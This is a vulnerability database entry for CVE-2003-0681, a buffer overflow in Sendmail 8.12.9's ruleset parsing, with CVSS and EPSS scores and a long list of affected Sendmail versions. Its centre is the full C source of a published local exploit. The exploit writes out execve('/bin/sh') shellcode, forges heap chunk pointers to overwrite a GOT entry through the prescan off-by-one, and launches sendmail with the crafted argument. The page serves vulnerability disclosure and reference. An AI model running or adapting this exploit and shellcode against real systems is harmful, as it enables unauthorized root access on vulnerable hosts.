CVE-2003-0681 Detail

CVE-2003-0681

EPSS

1.98%V3

Vector

Network

Published

2003-09-18
02h00 +00:00

Modified

2017-10-09
22h57 +00:00

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CVE.org

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CVE Descriptions

A "potential buffer overflow in ruleset parsing" for Sendmail 8.12.9, when using the nonstandard rulesets (1) recipient (2), final, or (3) mailer-specific envelope recipients, has unknown consequences.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

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Exploit information

Exploit Database EDB-ID : 23154

Publication date : 2003-09-16 22h00 +00:00
Author : Gyan Chawdhary
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/8641/info Sendmail is prone to a buffer overrun vulnerability in the prescan() function. This issue is different than the vulnerability described in BID 7230. This vulnerability could permit remote attackers to execute arbitrary code via vulnerable versions of Sendmail. */ /* Local exploit for the old sendmail vuln found by lcamtuf in 8.12.9 and below. * by Gyan Chawdhary, [email protected] * * Greets * sorbo: all the credits go to him for the ideas regarding the exploitation.. * lcamtuf: for finding such a subtle bug .. * dvorak, scut, gera .. * * Theory * The problem lies in the prescan function. When returnnull is called it does * not do a check to see if p > addr. This results into p pointing past the * array by one byte into the size field tag of the next malloc chunk * ( due to the fact that bufp is allocated in the heap. This value is assigned * to *delimptr which is used by invalidaddr in parseaddr. The invalidaddr * function checks for addresses containing characters used by macros. During * the parsing of the addrs by invalidaddr, it also checks for illegal chars * in the adress itself, and if found they are replaced with * BAD_CHAR_REPLACEMENT (depending on the size field of the allocation of our * buffer) which is defined as "?" (hex 3f) Due to the offbyone overflow in * prescan, invalidaddr modifies our chunk value which is later used by free() * when sm_free(bufp) is called, in return making sendmail vomit !!!!. * Read the code for details. * * Gyan */ #include <stdio.h> #include <stdlib.h> #include <string.h> char sc[] = "\xeb\x0a" "AAAAAAAAAA" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define CHUNK_SIZE 635 /* This function creats the string with fd and bk pointers and the shellcode. * Heap will look like this *--------------------------------------------------------------------- size = 281| |size 23f|fd|bk|shellcode|BBBBBBBB ---------------------------------------------------------------------- * When sm_free(bufp) is called it will consolidate the next buffer, and * use the fd and bk fields with our value which will allow us to overwrite */ char *xp_evilstring(int got, int retloc) { int s; char *ptr; static char buffer[635]; ptr = buffer; *( (int **)ptr ) = (int *)( got - 12 ); ptr+=4; *( (int **)ptr ) = (int *)( retloc ); ptr+=4; *ptr = '\n'; ptr++; /* The '\n' is used for allocating nother buffer in sendtolist by * denlstring which will copy our fake chunk and which will be later * on consolidated while sm_free(bufp) is called. */ memcpy(ptr, sc, strlen(sc)); ptr+=strlen(sc); memset(ptr, 'B', sizeof(buffer) - (strlen(sc)+4+4)); /* Used for having the lsb to 0 so that free() will conolidate it with * the other chunk */ buffer[635] = '\0'; ptr = buffer; s = strlen(ptr); // printf("%d\n", s); // printf("%s\n", ptr); return ptr; } /*GOT code*/ #define GREP "/bin/grep" #define OBJDUMP "/usr/bin/objdump" #define AWK "/bin/awk" int xp_getgot(const char *filename, char *function) { char command[512]; FILE *file; char got[8]; snprintf(command, sizeof(command), "%s -R %s | %s \"%s\" | %s '{print $1} '", OBJDUMP, filename, GREP, function, AWK); file = (FILE *)popen(command, "r"); fgets(got, 11, file); pclose(file); got[8] = '\0'; return (strtoul(got, NULL, 16)); } char *sendmail ="/usr/sbin/sendmail"; main(int argv, char **argc) { char *c; int got = 0x080c1a90; int retloc = 0xC0000000 - 4- strlen(sendmail) -1 - strlen(sc)-1; char *arg[] = { "owned",NULL,sc, NULL }; c = xp_evilstring(got, retloc); printf("%s\n", c); arg[1] = xp_evilstring(got, retloc); execve(sendmail,arg,NULL); }

Products Mentioned

Configuraton 0

Sendmail>>Advanced_message_server >> Version 1.2

Sendmail>>Advanced_message_server >> Version 1.2 (Open CPE detail)

Sendmail>>Advanced_message_server >> Version 1.3

Sendmail>>Advanced_message_server >> Version 1.3 (Open CPE detail)

Sendmail>>Sendmail >> Version 2.6

Sendmail>>Sendmail >> Version 2.6 (Open CPE detail)

Sendmail>>Sendmail >> Version 2.6.1

Sendmail>>Sendmail >> Version 2.6.1 (Open CPE detail)

Sendmail>>Sendmail >> Version 2.6.2

Sendmail>>Sendmail >> Version 2.6.2 (Open CPE detail)

Sendmail>>Sendmail >> Version 3.0

Sendmail>>Sendmail >> Version 3.0 (Open CPE detail)

Sendmail>>Sendmail >> Version 3.0.1

Sendmail>>Sendmail >> Version 3.0.1 (Open CPE detail)

Sendmail>>Sendmail >> Version 3.0.2

Sendmail>>Sendmail >> Version 3.0.2 (Open CPE detail)

Sendmail>>Sendmail >> Version 3.0.3

Sendmail>>Sendmail >> Version 3.0.3 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.8.8

Sendmail>>Sendmail >> Version 8.8.8 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.9.0

Sendmail>>Sendmail >> Version 8.9.0 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.9.1

Sendmail>>Sendmail >> Version 8.9.1 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.9.2

Sendmail>>Sendmail >> Version 8.9.2 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.9.3

Sendmail>>Sendmail >> Version 8.9.3 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.10

Sendmail>>Sendmail >> Version 8.10 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.10.1

Sendmail>>Sendmail >> Version 8.10.1 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.10.2

Sendmail>>Sendmail >> Version 8.10.2 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.0

Sendmail>>Sendmail >> Version 8.11.0 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.1

Sendmail>>Sendmail >> Version 8.11.1 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.2

Sendmail>>Sendmail >> Version 8.11.2 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.3

Sendmail>>Sendmail >> Version 8.11.3 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.4

Sendmail>>Sendmail >> Version 8.11.4 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.5

Sendmail>>Sendmail >> Version 8.11.5 (Open CPE detail)

Sendmail>>Sendmail >> Version 8.11.6

Sendmail>>Sendmail >> Version 8.11.6 (Open CPE detail)